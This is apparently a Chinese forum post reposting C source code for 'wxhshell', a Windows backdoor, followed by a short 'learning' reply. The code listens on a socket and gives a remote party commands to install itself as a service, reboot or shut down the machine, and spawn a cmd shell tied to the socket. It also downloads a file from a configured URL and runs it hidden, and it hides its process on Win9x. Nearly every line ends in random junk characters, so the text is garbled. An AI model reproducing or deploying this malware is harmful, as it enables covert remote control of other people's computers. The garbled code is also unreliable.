  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rO}1E<g (  
  if(DownloadFile(cmd,wsh)) Yup#aeXY/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3ML^ dZ'  
  else %s}{5Qcl/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *L<EGFP  
  } B}7j20:Z  
  else { OTYkJEC8\N  
p4uzw  
    switch(cmd[0]) { ;-JF1p7;  
  M[985bl  
  // 帮助 hrX/,D -c  
  case '?': { J[}j8x?r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rX^uHq8  
    break; uBG!R#T  
  } 0<V/[$}\D  
  // 安装 }>iNT.Lvd  
  case 'i': { Q0-gU+ig  
    if(Install()) SOPair <r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k/F#-},Q.  
    else `j {q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6# bTlmcg  
    break; ,OrrGwp&  
    } w.rcYywI  
  // 卸载 #)L}{mHLM-  
  case 'r': { papMC"<g$  
    if(Uninstall()) +L=Xc^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C\{ KB@C\*  
    else y.( <  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1Y"9<ry  
    break; SP<(24zdd  
    } {.U:Ce  
  // 显示 wxhshell 所在路径 B3yTN6-  
  case 'p': { `s69p'<;p  
    char svExeFile[MAX_PATH]; pcIS}+L  
    strcpy(svExeFile,"\n\r"); M:.+^.h  
      strcat(svExeFile,ExeFile); ?}KD<R  
        send(wsh,svExeFile,strlen(svExeFile),0); ~p'|A}9[/  
    break; l_;6xkv4  
    } CY':'aWfa<  
  // 重启 P];0,;nF  
  case 'b': { Js:U1q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "([gN:   
    if(Boot(REBOOT)) | oOAy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,yp#!gE~  
    else { /j3",N+I  
    closesocket(wsh); 8 mOGEx  
    ExitThread(0); k&L/Jzz I  
    } 'cu14m_  
    break; $KT)Kz8tF  
    } : &nF>  
  // 关机 "Uf1;;b  
  case 'd': { # bjK]+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @+nCNXK  
    if(Boot(SHUTDOWN)) Oc,HnyV+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ G!Ir"Q  
    else { 0nBDF79  
    closesocket(wsh); -Ju;i<  
    ExitThread(0); MtF^}/0w!`  
    } XgXXBKf$  
    break; O> _ F   
    } 1=T;68B  
  // 获取shell i`<L#6RBT  
  case 's': { :+w6i_\d5  
    CmdShell(wsh); R'vNJDFY  
    closesocket(wsh); vgDpo@fz8  
    ExitThread(0); $!$If( 7  
    break; - q(a~Ge  
  } h 2JmRO  
  // 退出 x)Zm5&"Gg  
  case 'x': { m<k6oev$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =_ j<x$,b-  
    CloseIt(wsh); !Ea9 fe  
    break; 1M_Vhs^  
    } .v}|Tp&k  
  // 离开 ]t&^o**  
  case 'q': { F&+qd`8J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;; {K##^l  
    closesocket(wsh); 8lDb<i  
    WSACleanup(); /s+IstW  
    exit(1); bZAL~z+ V  
    break; lIx./Nf  
        } K1R?Qt,qDF  
  } 0y/31hp  
  } oD9L5c)  
D@.qdRc3  
  // 提示信息 SYf1dbc..u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |*b-m k  
} |v : )9  
  } zG/? wP"  
u)r:0;5  
  return; !J!&JQ|  
} ~Mar  
3HuGb^SNg  
// shell模块句柄  h 7l>(3  
int CmdShell(SOCKET sock) xsPt  
{ kw#-\RR_c  
STARTUPINFO si; `$6~QLUf  
ZeroMemory(&si,sizeof(si)); Wi!"V cn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <-N2<s l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bi",DKU{l  
PROCESS_INFORMATION ProcessInfo; >mR8@kob<  
char cmdline[]="cmd"; Y.tT#J^=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ITn PF{N  
  return 0; T*=*$%  
} IFS_DW  
"dDrw ]P;  
// 自身启动模式 z5~W >r  
int StartFromService(void) FY^Nn  
{ N]| >\  
typedef struct ;y1/b(t  
{ ]b sabS?  
  DWORD ExitStatus; M;OMsRCVO  
  DWORD PebBaseAddress; esx/{j;<u  
  DWORD AffinityMask; 0%}*Zo(e+  
  DWORD BasePriority; 10c.#9$  
  ULONG UniqueProcessId; RB %y($  
  ULONG InheritedFromUniqueProcessId; 0jjtx'F  
}   PROCESS_BASIC_INFORMATION; f38e(Q];m  
Ov?J"B'F  
PROCNTQSIP NtQueryInformationProcess; !d!u{1Y&  
cgQ6b.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 66" 6>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2ag8?#  
3z2 OW@zL$  
  HANDLE             hProcess; NY^0$h  
  PROCESS_BASIC_INFORMATION pbi; :N$-SV  
Rq[d\BN0.d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l$EN7^%w  
  if(NULL == hInst ) return 0; FN=WU< 5  
"UNFB3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lG94^|U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $$&.}}.,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6b'.WB]-  
/9I/^i~  
  if (!NtQueryInformationProcess) return 0; (uDd_@a9t  
8j3Y&m4^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6:Z8d%Z  
  if(!hProcess) return 0; 0.n[_?<(  
Kob,}NgqZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ihf :k_;  
q=BljSX  
  CloseHandle(hProcess); ` K {k0_{  
fZ7AGP   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c:9n8skE7  
if(hProcess==NULL) return 0; FC, =g`Q!  
Kmx^\vDs  
HMODULE hMod; #m{*]mY@  
char procName[255]; Wx{E\ l  
unsigned long cbNeeded; uy3<2L#.  
6xJffl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #Q^" .#  
vb6EO[e% I  
  CloseHandle(hProcess); cpltTJFg  
4Qf sxg  
if(strstr(procName,"services")) return 1; // 以服务启动 `/P/2{,~  
d)Yl D]I  
  return 0; // 注册表启动 `9J9[!+!`  
} \{lv~I  
!V37ePFje  
// 主模块 6- i.*!I 8  
int StartWxhshell(LPSTR lpCmdLine) 67& hXIp  
{ _q27 3QG/"  
  SOCKET wsl; Jd>~gA}l  
BOOL val=TRUE; X&qx4 DL  
  int port=0; 5h#h>0F  
  struct sockaddr_in door; UPfO;Z`hJ  
k5.5$<< T  
  if(wscfg.ws_autoins) Install(); E s5: S#  
x 6`!  
port=atoi(lpCmdLine); Vi8A4  
' {,xQf*x  
if(port<=0) port=wscfg.ws_port; d7X&3L%Oq  
+JU , ^A#X  
  WSADATA data; PX 8UVA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !SQcV'  
oY18a*_>M1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   y~ =H`PAE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); GlAI~\A  
  door.sin_family = AF_INET; kW g.-$pp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _6ZjF>f  
  door.sin_port = htons(port); } p'ZMj&  
/9w>:i81  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7C{ y NX#  
closesocket(wsl); L8QWEFB|  
return 1; I#M3cI!X?  
} DYD<?._I  
`a& kD|Yh  
  if(listen(wsl,2) == INVALID_SOCKET) { Cl}nP UoL  
closesocket(wsl); /fr>Fd  
return 1; 4]y)YNQ(  
} #.bW9j/  
  Wxhshell(wsl); n{ ;j  
  WSACleanup(); u*l|MIi6J  
fGo4&( U  
return 0; B[t^u\Fk  
$<^t][{  
} C9 n%!()>  
NI >%v  
// 以NT服务方式启动 |^pev2g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y/lF1{}5  
{ {m.$EoS  
DWORD   status = 0; u/zBz*zh  
  DWORD   specificError = 0xfffffff; V2YK  T,5  
:]^e-p!z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !~@GIr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +&Ld` d!n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n +~Dc[  
  serviceStatus.dwWin32ExitCode     = 0; jVj5; }  
  serviceStatus.dwServiceSpecificExitCode = 0; :d36oiHKu  
  serviceStatus.dwCheckPoint       = 0; ^:eZpQ [,  
  serviceStatus.dwWaitHint       = 0; K7+yU3  
z^gJy,T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); AlSO  
  if (hServiceStatusHandle==0) return; \N>-+r  
&NE e-cb[  
status = GetLastError(); /0h *(nL  
  if (status!=NO_ERROR) ^QB[;g.O  
{ kI\m0];KnQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hRcb}>pr  
    serviceStatus.dwCheckPoint       = 0; IV QH p  
    serviceStatus.dwWaitHint       = 0; NR{wq|"  
    serviceStatus.dwWin32ExitCode     = status;  +]db-  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9(CvGzco <  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t8Zo9q>  
    return; lq/2Y4LE)  
  } `2~>$Tr  
Ac7^JXh%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fV(3RG  
  serviceStatus.dwCheckPoint       = 0; I$n= >s  
  serviceStatus.dwWaitHint       = 0; qt GJJ#^,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !liV Y]  
} j]a$RC#  
^E !v D  
// 处理NT服务事件,比如:启动、停止 )*|/5wW1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yqK4 "F&  
{ &K)8  
switch(fdwControl) E_HB[ 9  
{ mYBEjZ B  
case SERVICE_CONTROL_STOP: "cH RGJG#  
  serviceStatus.dwWin32ExitCode = 0; T) C@6/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; bdUPo+  
  serviceStatus.dwCheckPoint   = 0; 'm%{Rz>j  
  serviceStatus.dwWaitHint     = 0; WA{igj@\  
  { &v\F ah U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]6&NIz`:,  
  } _`$LdqgE  
  return; e5 =d Ev  
case SERVICE_CONTROL_PAUSE: 8OfQ :   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I0=_=aZO(  
  break; >%JPgr/ 8  
case SERVICE_CONTROL_CONTINUE: D-3[# ~MV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OI R5QH  
  break; #%"q0"  
case SERVICE_CONTROL_INTERROGATE: HDyf]2N*N  
  break; ]m]`J|%i  
}; -! \3;/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _Fb}zPU!  
} b^Hr zn  
sE9FT#iE  
// 标准应用程序主函数 XGlt^<`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,N/@=As9$  
{ x^eu[olN  
<QtZ6-;_f  
// 获取操作系统版本 NGra/s,9 |  
OsIsNt=GetOsVer(); TyxIlI4"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); HN47/]"*  
iP/v "g"g  
  // 从命令行安装 !`ol&QQ#  
  if(strpbrk(lpCmdLine,"iI")) Install(); q:{#kv8  
 urp|@WZ  
  // 下载执行文件 e r" w{  
if(wscfg.ws_downexe) { (su,= Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z,HhSW?&^  
  WinExec(wscfg.ws_filenam,SW_HIDE); 91 jRIB  
} <+8'H:wz  
,OZ  
if(!OsIsNt) { ;!yK~OBxt  
// 如果时win9x,隐藏进程并且设置为注册表启动 337.' |ZE  
HideProc(); k(Yz2  
StartWxhshell(lpCmdLine); uL'f8Pqg  
} Tw~R-SiS`s  
else }A9#3Y|F  
  if(StartFromService()) 3CUQQ_  
  // 以服务方式启动 ~%hdy @  
  StartServiceCtrlDispatcher(DispatchTable); FOaA}D `]  
else  %zavSm"  
  // 普通方式启动 On C)f  
  StartWxhshell(lpCmdLine); \u=d`}E  
]kh]l8t^  
return 0; H7O~So*N5  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五